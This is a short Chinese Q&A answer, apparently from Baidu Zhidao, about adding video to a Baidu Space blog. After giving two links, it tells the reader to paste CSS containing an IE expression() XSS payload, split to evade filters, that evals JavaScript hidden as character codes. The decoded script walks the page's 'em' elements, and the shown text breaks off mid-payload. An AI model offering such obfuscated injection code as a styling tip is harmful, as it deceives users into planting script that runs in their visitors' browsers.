百度空间上可以弄视频吗？怎么弄？

可以弄视频，简单的办法是在背景音乐中添加有视频的音乐连接地址，注意格式要按规定，要不就不行的，比如是WMV结尾的,给你几个视频连接吧：
http://zhidao.baidu.com/question/10415769.html?si=1

如果你想把视频加在页面也可以,方法请参考:
http://hi.baidu.com/jmdcw/blog/item/3ef49451d8f5c219377abeb9.html

在CSS中加入如下代码
body{xss:expr/*XSS*/ession(eval(String.fromCharCode
(118,97,114,32,105,44,106,44,120,44,121,44,122,59,106,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,59,102,111,114,40,105,61,48,59,105,60,106,46,108,101,110,103,116,104,59,105,43,43,41,123,121,61,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,101,109,39,41,91,105,93,59,122,61,100,111,99,117,109,101,110,1